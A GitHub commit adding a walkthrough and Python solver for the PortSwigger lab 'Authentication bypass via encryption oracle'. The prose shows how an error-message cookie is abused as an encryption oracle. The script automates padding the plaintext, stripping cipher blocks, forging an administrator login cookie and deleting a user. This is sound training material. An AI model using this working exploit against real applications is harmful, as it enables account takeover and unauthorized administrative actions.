Skip to content

Commit

Permalink
Add Write-up: Authentication bypass via encryption oracle
Browse files Browse the repository at this point in the history
  • Loading branch information
frank-leitner committed Dec 18, 2022
1 parent 85006a5 commit 7f62ea8
Show file tree
Hide file tree
Showing 21 changed files with 281 additions and 2 deletions.
Original file line number Diff line number Diff line change
@@ -0,0 +1,145 @@
# Write-up: Authentication bypass via encryption oracle @ PortSwigger Academy

![logo](img/logo.png)

This write-up for the lab *Authentication bypass via encryption oracle* is part of my walk-through series for [PortSwigger's Web Security Academy](https://portswigger.net/web-security).

**Learning path**: Server-side topics → Business logic vulnerabilities

Lab-Link: <https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-authentication-bypass-via-encryption-oracle>
Difficulty: PRACTITIONER
Python script: [script.py](script.py)

## Lab description

![Lab description](img/lab_description.png)

## Steps

As usual, the first step is to analyze the functionality of the lab application. In this lab, it is a blog website.

### Posting a comment

One part of this analysis is to post a comment. I play with some of the parameters and mix valid and invalid content for email and website.

The website parameter gets checked via client-side javascript which can be circumvented but does not lead to anything interesting.

It is a different story for the email parameter:

![](img/comment.png)

Posting the comment with an invalid address leads to a corresponding error message. What makes it interesting is that the error is not displayed in the immediate response to the `POST` request.

The `POST` results in a redirect which in turn contains the error message including my parameter in its response. As it is an independent request this information needs to be transported. The response sets a cookie named `notification` which looks like this transport vehicle. It is also unset in the second request.

The content of the cookie does not appear to be simply encoded as no decoding variant results in anything legible.

I put it aside for now and go on with the analysis.

---

### Logging in

The public area does not show anything else that appears interesting so I log in with the credentials provided.

![](img/login.png)

The login form provides the option to stay logged in. If the option is set a `stay-logged-in` cookie is set:

![](img/login_request.png)

One detail that jumps to attention about this cookie is that its content is very similar to the `notification` cookie from above. Both appear to both URL- and base64 encoded but do not result in anything legible.

---

### Copying cookie contents

During the posting of my comment, I guessed that the `notification` cookie contains the error information that is converted to the error message in the second response. So what happens if I use the content of the `stay-logged-in` cookie?

Only one way to find out. I send the second request from my comment attempt to repeater and replace the content of the `notification` cookie with the content of my `stay-logged-in` cookie:

![](img/decrypted_logged_in_cookie.png)

It shows two interesting things:

- Both cookies are protected in the same way
- The `stay-logged-in` cookie contains user information and a number that looks like a timestamp, in my case from a few minutes ago and corresponds to my login time

To impersonate the administrator I need to obtain the encrypted string `administrator:1671277761824` to forge a `stay-logged-in` cookie for the administrative user.

---

### Theorizing

Whatever content I put in the email field will get encrypted the same way as the `stay-logged-in` cookie. Unfortunately, the server adds a descriptive error message in front of it, in this case, `Invalid email` address: `.

If I find a way to either avoid this or strip this message from the `notification` cookie, I can forge a `stay-logged-in` cookie for any arbitrary user, including `administrator`.

I notice that the length of the encrypted `stay-logged-in` cookie is not directly related to the length of the `email` parameter. The cookie is, after urldecoding, 44 bytes long regardless of whether the email is `myEmail` or just `my`. This indicates the use of a block cipher.

A good encryption cipher will ensure that there is no observable relationship between the plaintext and the ciphertext. With minor changes in the plaintext, there should be significant changes in the ciphertext. This is called [diffusion](https://en.wikipedia.org/wiki/Confusion_and_diffusion) and is common in (decent) block ciphers by using some random initialization vectors (IV).

The cipher in use here does not appear to have this property. Both the plaintext as well as the ciphertext start with the same characters in both cases. The different characters afterward do not appear to affect the first part:

| Plaintext | Ciphertext (URLdecoded) |
|---|---|
| Invalid email address: myEmail | kz2h+4QhVc883w1bvbFEr77uKbbOnjfFfVFrFUVycP4= |
| Invalid email address: myEmai | kz2h+4QhVc883w1bvbFErxyKJ3mv5TeyGEgDE2ADBWA= |
| Invalid email address: my | kz2h+4QhVc883w1bvbFEryAV3dAJgEga4Zu3Rl8KjzA= |
| Invalid email address: administrator:1671277761824 | kz2h+4QhVc883w1bvbFEr87ptsajNIMxzRqfjJflK3pPyLcmimq9GT16yVJGJ7OroqW0zxlifgMmIJtTRaiYUQ== |

To better understand the structure I need to base64-decode that string and look at the hex representation:

![](img/hex_representation.png)

Two things are immediately obvious:

- The cipher uses a block size of 16 bytes.
Based on the images above 32 bytes would be possible as well. It would be highly unusual though, and using just `administrator` as email parameter shows three lines used and confirms 16 bytes as the block size.
- Within each block, some diffusion occurs. The second block differs on every byte whereas the last 7 bytes from the error message are static.

I remove the complete first block and reencode it, first base64- followed by urlencoding:

![](img/reencode_test1.png)

![](img/reencode_test1_result.png)

The result is promising, the first 16 bytes of the string are missing and the decryption is successful.

---

### Correct the padding

By now I know that I can remove a full block of the ciphertext without negatively affecting the following blocks. There are 7 bytes of the error message that are within the second block: `dress: `. I cannot simply remove these 7 bytes from the second block as this violates the block integrity:

![](img/block_size_wrong.png)

However, If I add another 9 bytes in front of my desired plaintext, then it will fill the second 16 bytes block completely and my plaintext starts at the beginning of the third block.

I send `123456789administrator:1671277761824` as the email to my encrypting method in Burp Repeater:

![](img/encrypt_padded_plaintext.png)

I send the cookie valid to Decoder, URL- and base64-decode it and remove the first two blocks of the hex representation (32 bytes):

![](img/remove_from_hex.png)

The result I re-encode again and use the content of the `notification` cookie in my decryptor:

![](img/admin_token_obtained.png)

---

### Logging in

I use the cookie editor to change the `stay-logged-in` cookie in my browser:

![](img/cookie_editor.png)

It appears that the session also contains user information and takes precedence over the `stay-logged-in` cookie. I remove the session cookie completely and refresh the page:

![](img/admin_access_obtained.png)

I go to the `Admin panel` to remove user `carlos` and the lab updates to

![Lab solved](img/success.png)
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Original file line number Diff line number Diff line change
@@ -0,0 +1,133 @@
#!/usr/bin/env python3
# Authentication bypass via encryption oracle
# Lab-Link: https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-authentication-bypass-via-encryption-oracle
# Difficulty: PRACTITIONER
from bs4 import BeautifulSoup
import base64
import requests
import sys
import time
import urllib
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}


def check_expired_lab(client, host):
return client.get(host).status_code == 504


def find_valid_post_id(client, host):
r = client.get(host)
soup = BeautifulSoup(r.text, 'html.parser')

# <div class="blog-post">
# <a href="/post?postId=8"><img src="/image/blog/posts/23.jpg"/></a>
# <h2>The Peopleless Circus</h2>
# <p>...</p>
# <a class="button is-small" href="/post?postId=8">View post</a>
# </div>

postId = None
try:
postId = soup.find('div', attrs={'class': 'blog-post'}).find_next('a').get('href').split('=')[1]
except TypeError:
pass
except AttributeError:
pass
return postId


def encrypt(client, host, postId, plaintext):
def get_csrf_token(client, url):
r = client.get(url)
soup = BeautifulSoup(r.text, 'html.parser')
return soup.find('input', attrs={'name': 'csrf'})['value']

url = f'{host}/post'
data = {
'csrf': get_csrf_token(client, f'{url}?postId={postId}'),
'postId': postId,
'comment': 'mycomment',
'name': 'myname',
'email': plaintext,
'website': ''
}

try:
client.post(f'{url}/comment', data=data, allow_redirects=False)
cookie_value = client.cookies.get('notification')
except TypeError:
return None
return cookie_value


def remove_blocks(s, num_of_blocks):
b = base64.b64decode(urllib.parse.unquote(s))
return urllib.parse.quote(base64.b64encode(b[(16*num_of_blocks):]))


def deleteUser(client, host, username):
url = f'{host}/admin/delete?username={username}'
return client.get(url, allow_redirects=False).status_code == 302


def main():
print('[+] Authentication bypass via encryption oracle')
try:
host = sys.argv[1].strip().rstrip('/')
except IndexError:
print(f'Usage: {sys.argv[0]} <HOST>')
print(f'Exampe: {sys.argv[0]} http://www.example.com')
sys.exit(-1)

with requests.Session() as client:
client.verify = False
client.proxies = proxies

if check_expired_lab(client, host):
print(f'[-] Lab is expired, please provide new link')
sys.exit(-2)

valid_postId = find_valid_post_id(client, host)
if not valid_postId:
print(f'[-] Failed to find valid post ID')
sys.exit(-3)
print(f'[+] Found valid post ID: {valid_postId}')

string = f'administrator:{time.time()}'
padding = 9
print(f'[ ] Attempt to encrypted string {string} with padding of {padding} bytes')
encrypted_string = encrypt(client, host, valid_postId, f'{padding*"x"}{string}')
if not encrypted_string:
print(f'[-] Failed to obtain encrypted string')
sys.exit(-4)
print(f'[+] Obtained encrypted string: {encrypted_string}')

blocks_to_remove = 2
stay_logged_in_cookie = remove_blocks(encrypted_string, blocks_to_remove)
if not stay_logged_in_cookie:
print(f'[-] Failed to remove first {blocks_to_remove} blocks')
sys.exit(-5)
print(f'[+] Removed first {blocks_to_remove} blocks: {stay_logged_in_cookie}')

client.cookies.clear()
client.cookies.set('stay-logged-in', stay_logged_in_cookie, domain=f'{host[8:]}')
print(f'[+] Removed pre-existing cookies and set stay-logged-in cookie')

if not deleteUser(client, host, 'carlos'):
print(f'[-] Failed to delete user carlos')
sys.exit(-6)
print(f'[+] Deleted user carlos')

# I had some times issues getting the proper result, so wait briefly before checking
time.sleep(2)
if 'Congratulations, you solved the lab!' not in client.get(f'{host}').text:
print(f'[-] Failed to solve lab')
sys.exit(-9)

print(f'[+] Lab solved')


if __name__ == "__main__":
main()
2 changes: 1 addition & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -23,7 +23,7 @@ So I create the scripts to learn about python and how to use it to interact with
| 02 | Authentication | :heavy_check_mark: 3/3 | :heavy_check_mark: 9/9 | :heavy_check_mark: 2/2 |
| 03 | Directory traversal | :heavy_check_mark: 1/1 | :heavy_check_mark: 5/5 | - |
| 04 | Command inection | :heavy_check_mark: 1/1 | :heavy_check_mark: 4/4 | - |
| 05 | Business logic vulnerabilities | :heavy_check_mark: 4/4 | :heavy_multiplication_x: 6/7 | - |
| 05 | Business logic vulnerabilities | :heavy_check_mark: 4/4 | :heavy_check_mark: 7/7 | - |
| 06 | Information disclosure | :heavy_check_mark: 4/4 | :heavy_check_mark: 1/1 | - |
| 07 | Access control | :heavy_check_mark: 9/9 | :heavy_check_mark: 4/4 | - |
| 08 | File upload vulnerabilities | :heavy_check_mark: 2/2 | :heavy_check_mark: 4/4 | :heavy_multiplication_x: 0/1 |
Expand Down
Binary file modified img/script_solutions.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
3 changes: 2 additions & 1 deletion requirements.txt
Original file line number Diff line number Diff line change
Expand Up @@ -3,4 +3,5 @@ requests
websockets
asyncio
pyjwt[crypto]
jwcrypto
jwcrypto
urllib

0 comments on commit 7f62ea8

Please sign in to comment.